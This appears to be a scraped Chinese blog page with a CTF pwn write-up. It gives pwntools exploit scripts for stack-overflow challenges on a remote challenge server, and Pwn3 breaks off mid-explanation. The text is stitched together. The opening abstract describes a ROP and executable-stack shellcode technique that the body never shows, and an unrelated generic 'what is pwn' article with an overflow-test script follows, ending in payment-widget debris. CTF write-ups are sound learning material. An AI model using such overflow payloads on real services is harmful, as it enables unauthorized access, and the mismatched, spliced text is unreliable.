Pwn

本文详细介绍了如何通过栈溢出利用技术,结合动态链接库函数_dl_make_stack_executable,使栈变得可执行,并布置shellcode以获取shell。首先通过IDA分析程序,发现存在栈溢出,然后逐步构造ROP链,包括改变_stack_prot值,设置eax为libc_stack_end地址,调用_dl_make_stack_executable函数,最后插入shellcode并寻找跳转到栈的指令完成执行。

Pwn1

拿到程序IDA分析


发现就是一个输入字符串,长度大于0x500就直接执行cat flag。虽然溢出了,但是和溢出没有太大关系

所以利用代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30004)
payload = 'a'*0x501
p.sendline(payload)
p.interactive()


Pwn2

打开IDA分析,是一个经典的栈溢出,scanf输入的时候并没有对长度进行限制,因此可以一直覆盖到返回地址

那么我们可以把返回地址覆盖为题目中给出的getflag函数即可。



所以利用代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30006)
e=ELF("chall")
payload = 'a'*0x108
payload += 'a'*0x4
payload += p32(e.symbols['getflag'])
p.sendline(payload)
p.interactive()


Pwn3

IDA分析一下


发现就是分配了一块内存,地址为0xdeadb000,然后从输入流读入数据到该地址,然后执行该地址的内容。

即程序会执行我们输入的机器码

03-19
### Pwn 的定义与背景 Pwn 是网络安全领域中的一个重要术语,在渗透测试和漏洞利用方面具有广泛的应用。它通常指通过发现并利用软件或系统的安全漏洞,从而获得未经授权的访问权限或控制权的行为[^1]。 #### 技术概念 在网络安全上下文中,“pwn”可以涉及多种技术和方法,主要包括但不限于缓冲区溢出、格式化字符串漏洞、整数溢出以及返回导向编程(ROP)。这些技术允许攻击者操控程序执行流程,注入恶意代码或者泄露敏感数据。 #### 编程环境下的应用 从编程的角度来看,实现 pwn 需要深入理解目标应用程序的工作机制及其底层架构。例如,在 C 或 C++ 中开发时,如果未正确处理用户输入,则可能导致栈溢出等问题。以下是检测潜在可被利用漏洞的一个简单 Python 脚本示例: ```python import subprocess def test_vulnerability(payload): try: result = subprocess.run(['./vulnerable_program', payload], capture_output=True, text=True) return result.stdout except Exception as e: return str(e) if __name__ == "__main__": user_input = "A" * 256 # Example of a large input to check buffer handling. response = test_vulnerability(user_input) print(response) ``` 此脚本尝试向可能存在缓冲区溢出问题的目标二进制文件发送大量字符作为参数,并观察其行为变化以判断是否存在脆弱点。 ### 工具支持 对于希望从事此类活动的研究人员来说,有许多专门设计用于辅助分析和开发exploit的工具可供选择,比如 radare2 和 gdb 这样的调试器可以帮助研究内存布局;Metasploit 则提供了现成payloads集合便于快速验证某些假设条件是否成立等等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值